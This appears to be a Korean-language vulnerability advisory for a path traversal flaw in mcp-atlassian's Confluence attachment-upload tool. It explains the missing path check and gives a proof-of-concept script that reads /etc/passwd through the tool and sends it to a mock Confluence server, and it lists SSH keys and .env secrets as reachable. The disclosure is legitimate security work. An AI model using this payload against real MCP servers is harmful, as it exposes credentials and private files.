
Path Traversal in mcp-atlassian via zip extraction in upload_attachment — CVSS 9.3
심각도: 치명적(CVSS 9.3)
CWE: CWE-22 — 경로 탐색(Path Traversal)
영향 범위: sooperset/mcp-atlassian >= 0.17.0 (GHSA-xjgw-4wvw-rgm4의 읽기 측 대응 취약점)
권고: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-27825
confluence_upload_attachment MCP 도구는 file_path 인수를 경로 검증 없이 open(file_path, "rb")에 직접 전달합니다. 이 도구를 호출할 수 있는 공격자는 서버 파일시스템에서 임의의 파일을 읽어 멀티파트 업로드를 통해 공격자가 제어하는 Confluence 엔드포인트로 유출할 수 있습니다. 기본 streamable-http 전송 방식은 인증 없이 0.0.0.0에 바인딩되므로 자격 증명 없이 원격으로 악용할 수 있습니다.
이는 이전에 패치된 GHSA-xjgw-4wvw-rgm4의 읽기 측 대칭 대응 취약점입니다 — v0.17.0 수정은 쓰기/다운로드 경로만 다루었습니다. 업로드 경로는 보호되지 않은 채 남아 있었습니다.
mcp-atlassian은 이미 v0.17.0에서 경로 탐색 수정(GHSA-xjgw-4wvw-rgm4)을 받았으며, 이는 쓰기 경로(첨부 파일을 로컬 디스크로 다운로드)를 패치했습니다. 제 가설은 다음과 같았습니다: 대칭 작업의 한 방향에 수정이 적용되면 다른 방향은 종종 누락됩니다.
attachments.py를 열고 모든 open( 호출을 검색했습니다. 다운로드 경로(223행, 272행)에는 open() 앞에 validate_safe_path(local_path)가 추가되어 있었습니다. 업로드 경로(477행)에는 아무것도 없었습니다. 같은 파일, 같은 패턴, 일관성 없는 처리 — 전형적인 불완전한 수정입니다.
도구 정의가 이를 확인했습니다: file_path: Annotated[str, Field(description="Absolute path to the file to upload")] — pattern= 제약 조건도, 검증기도, 아무것도 없습니다. 이 필드는 문자 그대로 제한 없이 절대 경로를 허용하는 것으로 문서화되어 있습니다.
엔드투엔드로 재현했습니다: 실제 mcp-atlassian 서버 프로세스를 실행하고, MCP stdio 클라이언트(mcp.ClientSession)로 구동하고, 로컬 모의 Confluence HTTP 스텁을 가리킨 다음 file_path=/etc/passwd로 confluence_upload_attachment를 호출했습니다. 모의 서버는 멀티파트 본문에 전체 /etc/passwd 내용을 기록했습니다. 두 번의 전체 재현 실행이 모두 PoC 파일에 기록되었습니다.
기본 HOST=0.0.0.0 바인딩과 인증 없음으로 인해 기본 배포에서 자격 증명 없이 원격으로 악용할 수 있습니다.
파일: src/mcp_atlassian/confluence/attachments.py, 477행
with open(file_path, "rb") as fp: # ← file_path는 공격자가 제어
files = {"file": (filename, fp, content_type)}
response = self.confluence.session.post(url, files=files, ...)
도구 정의 (src/mcp_atlassian/servers/confluence.py:1307):
file_path: Annotated[str, Field(description="Absolute path to the file to upload")]
# pattern= 없음, 검증기 없음, validate_safe_path() 없음
패치된 다운로드 경로와의 비대칭성:
# attachments.py:223 — 패치됨 (다운로드 경로)
validate_safe_path(local_path) # ← v0.17.0에서 추가된 가드
open(local_path, "wb")
# attachments.py:477 — 취약 (업로드 경로)
open(file_path, "rb") # ← 가드 없음, v0.17.0에서 누락
GHSA-xjgw-4wvw-rgm4에 대한 v0.17.0 패치는 쓰기 측(첨부 파일을 로컬 디스크로 다운로드)에 validate_safe_path() 호출을 추가했지만 읽기 측(로컬 파일을 Confluence로 업로드)은 감사하지 않았습니다. check_write_access 데코레이터는 관련이 없습니다 — READ_ONLY_MODE만 제어합니다.
기본 네트워크 노출 (src/mcp_atlassian/__init__.py:151):
HOST = "0.0.0.0" # 모든 인터페이스에 바인딩
# streamable-http 전송 방식에 인증 계층 없음
Confluence API를 시뮬레이션하는 로컬 HTTP 스텁에 대해 엔드투엔드로 완전히 재현했습니다. mcp_client.py, mock_confluence.py, poc_run1.sh를 참조하세요.
# poc_run1.sh — confluence_upload_attachment를 통해 /etc/passwd 읽기
# 1. 모의 Confluence 엔드포인트 시작
python mock_confluence.py &
# 2. 경로 탐색 페이로드로 MCP 도구 호출
python mcp_client.py \
--tool confluence_upload_attachment \
--page-id 123456 \
--file-path /etc/passwd \
--filename passwd.txt
# → /etc/passwd 내용이 mock_confluence.py 로그에 나타남
/etc/passwd, SSH 키, .env, 애플리케이션 비밀)streamable-http 전송 방식이 0.0.0.0에 바인딩되고 인증이 없음; 네트워크로 접근 가능한 모든 공격자가 MCP 도구를 직접 호출할 수 있음